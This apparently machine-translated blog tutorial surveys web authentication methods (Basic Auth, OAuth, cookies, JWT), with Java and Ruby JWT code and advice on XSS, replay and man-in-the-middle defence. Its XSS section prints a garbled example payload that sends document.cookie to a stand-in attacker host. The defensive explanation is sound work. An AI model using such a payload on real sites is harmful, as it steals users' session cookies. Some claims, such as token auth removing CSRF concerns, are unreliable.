Several commonly used authentication mechanisms

zz:https://www.cnblogs.com/xiekeli/p/5607107.html

HTTP Basic Auth

The simple explanation of HTTP Basic Auth is to provide the user's username and password every time the API is requested. In short, Basic Auth is the simplest authentication method used with RESTful API. It only needs to provide the user name and password. However, due to the risk of exposing the user name and password to third-party clients, it is less and less used in the production environment. Therefore, when developing restful APIs open to the outside world, try to avoid using HTTP Basic Auth

OAuth

OAuth (open authorization) is an open authorization standard that allows a user to allow a third-party application to access the user's private resources (such as photos, videos, contact lists) stored on a web service without providing the user name and password to the third-party application.

OAuth allows users to provide a token, rather than a user name and password, to access the data they store with a specific service provider. Each token authorizes a specific third-party system (e.g., video editing website) to access specific resources (e.g., only videos in an album) within a specific time period (e.g., the next 2 hours). In this way, OAuth allows users to authorize third-party websites to access some specific information they store in another service provider, rather than all content
Here is oauth2 0's process:

This OAuth based authentication mechanism is applicable to individual consumer Internet products, such as social apps, but it is not suitable for enterprise applications with their own authentication authority management;

Cookie Auth

Cookie authentication mechanism is to create a session object on the server side and a cookie object on the browser side of the client side for one request authentication; The state management is realized by matching the cookie object brought by the client with the session object on the server. By default, cookies are deleted when we close the browser. However, the expiration time of the cookie can be modified to make the cookie valid for a certain period of time;

Token Auth

Advantages of Token Auth

What are the advantages of Token mechanism over Cookie mechanism?

  • Support cross domain access: cookies do not allow domain access, which does not exist for the Token mechanism. The premise is that the transmitted user authentication information is transmitted through the HTTP header
  • Stateless (also known as server extensible line): the Token mechanism does not need to store session information on the server, because the Token itself contains the information of all login users, and only needs to store status information in the cookie or local media of the client
  • More applicable to CDN: you can request all the information of your server (such as javascript, HTML, pictures, etc.) through the content distribution network, and your server can only provide API
  • Decoupling: there is no need to bind to a specific authentication scheme. Token s can be generated anywhere, as long as you can call them when your API is called
  • More suitable for mobile applications: when your client is a native platform (iOS, Android, Windows 8, etc.), cookies are not supported (you need to process them through the Cookie container). At this time, it will be much easier to adopt the Token authentication mechanism.
  • CSRF: since you no longer rely on cookies, you don't need to consider the prevention of CSRF (Cross Site Request Forgery).
  • Performance: a round-trip network time (query session information through the database) is much more time-consuming than a Token verification and parsing of HMACSHA256 calculation
  • No special treatment is required for the login page: if you use Protractor for function test, no special treatment is required for the login page
  • Based on Standardization: your API can adopt standardized JSON Web Token (JWT) This standard already exists in many back-end libraries (. NET, Ruby, Java,Python, PHP) and supported by many companies (such as Firebase,Google, Microsoft)

Implementation of Token authentication mechanism based on JWT

JSON Web Token (JWT) is a very lightweight specification. This specification allows us to use JWT to transfer safe and reliable information between users and servers. his

Composition of JWT

A JWT is actually a string, which consists of three parts: header, payload and signature.
Payload

{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.example.com", 
  "sub": "jrocket@example.com", 
  "GivenName": "Johnny", 
  "Surname": "Rocket", 
  "Email": "jrocket@example.com", 
  "Role": [ "Manager", "Project Administrator" ] 
}
  • iss: the issuer of the JWT. Whether to use it or not is optional;
  • sub: the user for which the JWT is targeted. Whether to use it is optional;
  • aud: the party receiving the JWT. Whether to use it is optional;
  • exp(expires): when will it expire? Here is a Unix timestamp. Whether to use it is optional;
  • iat(issued at): when it was issued (UNIX time) and whether it was used is optional;
    Others include:
  • nbf (Not Before): if the current time is before the time in nbf, the Token will not be accepted; Generally, there will be some room, such as a few minutes;, Whether to use is optional;

The following string can be obtained by [base64 encoding] the above JSON object. This string is called the Payload of JWT.

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

Little knowledge: BASE64 is a representation method of binary data based on 64 printable characters. Since the 6th power of 2 is equal to 64, every 6 bits are a unit corresponding to a printable character. Three bytes have 24 bits, corresponding to four BASE64 units, that is, three bytes need to be represented by four printable characters. JDK provides very convenient BASE64Encoder and BASE64Decoder, which can be used to complete BASE64 based encoding and decoding

Header
JWT also needs a header, which is used to describe the most basic information about the JWT, such as its type and the algorithm used for signature. This can also be represented as a JSON object.

{
"typ": "JWT",
"alg": "HS256"
}

The header indicates that the signature algorithm is HS256 algorithm.
Of course, the header should also be BASE64 encoded. The encoded string is as follows:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

Signature
Use a period for both encoded strings above Connected together (head in front), it forms:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

Finally, we encrypt the string spliced above with HS256 algorithm. When encrypting, we also need to provide a secret. If we use mystar as the key, we can get the encrypted content:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

Finally, this part of the signature is spliced behind the signed string, and we get the complete JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

This JWT string will be carried in our request URL:

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

Certification process

Let's see how to use JWT mechanism to realize authentication from an example:

Sign in

  • First authentication: for the first login, the user enters the user name / password from the browser and submits it to the Login Action layer of the server;
  • Login Action calls the authentication service for user name and password authentication. If the authentication passes, Login Action layer calls the user information service to obtain user information (including complete user information and corresponding permission information);
  • After returning the user information, Login Action obtains the secret key information generated by the Token signature from the configuration file to generate the Token;
  • In the process of generating a Token, you can call the JWT Lib of a third party to generate the signed JWT data;
  • After completing the JWT data signature, set it to the COOKIE object and redirect it to the home page to complete the login process;

Request authentication

The Token based authentication mechanism will bring the signed Token information in every request, which may be in COOKIE
It may also be in the Authorization header of HTTP;

  • The client (APP client or browser) accesses resources (page or API call) through GET or POST request;
  • As a Middleware HOOK, the authentication service intercepts the request. First, look up the Token information in the cookie. If it is not found, look up it in the HTTP Authorization Head;
  • If the Token information is found, call JWT Lib to decrypt and decode the Token information according to the signature encryption key in the configuration file;
  • After decoding and verifying the signature, verify the exp, nbf, aud and other information in the Token;
  • After all of them have passed, make logical judgment on the permission of the requested resource according to the obtained user's role permission information;
  • If the permission logic judgment passes, it will be returned through the Response object; Otherwise, HTTP 401 is returned;

Five understandings of Token authentication

There are five points of direct attention to the Token authentication mechanism:

  • A Token is a collection of information;
  • Include enough information in the Token to reduce the probability of querying the database in subsequent requests;
  • The server needs to check the Token information of the cookie and HTTP authorization header;
  • Based on the above point, you can use a set of token authentication code to face browser clients and non browser clients;
  • Because the token is signed, we can think that a token that can be decoded and authenticated is issued by our system, and the information in it is legal and valid;

JAVA implementation of JWT

JWT support in Java can be considered JJWT Open source library; JJWT implements JWT, JWS, JWE and JWA RFC specifications; The following is a brief example of its use:
Generate Token code

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;    
 
//Sample method to construct a JWT
 
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
 
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 
  //Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);
 
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}
 
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}

Decoding and verifying Token code

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
 
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()        
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}

Security of Token authentication based on JWT

Ensure the security of the verification process

How to ensure the security of user name / password authentication process; Because in the authentication process, the user needs to enter the user name and password. In this process, sensitive information such as user name and password needs to be transmitted in the network. Therefore, in this process, it is recommended to use HTTPS and encrypt the transmission through SSL to ensure the security of the channel.

How to prevent XSS Attacks

The browser can do many things, which also brings many hidden dangers to the security of the browser, such as XSS attack: cross site scripting; If any information is allowed to be entered in the input box of a page without taking precautions, if we enter the following code:

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies='
+document.cookie;return a}())"

This code will steal all cookie information in your domain and send it to hackmeplz com´╝Ť So how can we prevent such attacks?

  • XSS attack code filtering
    Remove any code that will cause the browser to execute unexpectedly. This can be realized by using some libraries (such as js XSS under js, XSS HTMLFilter under JAVA, TWIG under PHP); If you store the string submitted by the user in the database (also for SQL injection attack), you need to filter the front-end and server-side respectively;
  • Use HTTP only cookies
    By setting the parameter of Cookie: HttpOnly; Secure to prevent accessing cookies through JavaScript;
    How to set the cookie HttpOnly in Java?
    Servlet 2.5 API does not support cookie setting HttpOnly
    http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
    It is recommended to upgrade Tomcat7.0 0, which has implemented servlet3 0
    http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
    Or set it as follows:
//Set cookie s
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//Set multiple cookie s
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//Set https cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

In actual use, we can make FireCookie check whether the Cookie we set is HttpOnly;

How to prevent Replay Attacks

The so-called replay attack is that the attacker sends a packet that the destination host has received to cheat the system. It is mainly used in the identity authentication process. For example, the signed Token obtained through user name / password verification on the browser side was stolen by the Trojan horse. Even if the user logs out of the system, the hacker can still use the stolen Token to simulate the normal request, and the server is completely unaware of it, thinking that the JWT mechanism is stateless.
In this case, there are several common practices that can be used as a reference:
1. Timestamp + shared secret key
In this scheme, both the client and the server need to know:

  • User ID
  • Shared secret key

client

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # Specify the token publishing time
  exp: Time.now.to_i + 2   # After the specified token expiration time is 2 seconds, 2 seconds is enough for one HTTP request. At the same time, ensure that the last token expires to a certain extent and reduce the probability of replay attack;
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

Server

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1: decode the JWT and obtain the User ID. at this time, the Token signature is not checked
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: check whether the user exists in the database
    @current_user = User.find(payload['user_id'])
    
    # Step 3: check whether the Token signature is correct
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: check "iat" and "exp" to make sure the Token is created within 2 seconds
    now = Time.now.to_i
    if payload['iat'] > now || payload['exp'] < now
      # If it expires, 401 is returned
    end
  rescue JWT::DecodeError
    # Return to 401
  end
end

2. Timestamp + shared secret key + blacklist (similar) Zendesk (practice)
client

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # Ensure that a token is used only once through jti to prevent replace attack
  iat: Time.now.to_i,       # Specify the token publishing time
  exp: Time.now.to_i + 2    # Specifies that the token expires after 2 seconds
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

Server

def set_current_user_from_jwt_token
  # Refer to the above for the previous steps
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload['user_id'])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload['iat'] > now || payload['exp'] < now
    # Return to 401
  end
  
  # The following will check to ensure that this JWT has not been used before
  # Atomic operations using Redis
  
  # The redis key: < user ID >: < one time use token >
  key = "#{payload['user_id']}:#{payload['jti']}"
  
  # Check whether the key value already exists in redis nil. If it does not exist Returns "1" if it exists
  if redis.getset(key, "1")
    # Return to 401
    # 
  end
  
  # Perform key value expiration check
  redis.expireat(key, payload['exp'] + 2)
end

How to prevent the middle attack

The so-called MITM attack is to be monitored during the interaction between the client and the server, such as the WIFI of a cafe that can surf the Internet or a black proxy server;
For such attacks, HTTPS is used, including for distributed applications. HTTPS is also used when transmitting sensitive information such as cookie s between services; So cloud computing is inherently unsafe.

Reference Catalogue:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/

Tags: Dev

Posted by jwwceo on Mon, 23 May 2022 20:04:22 +0300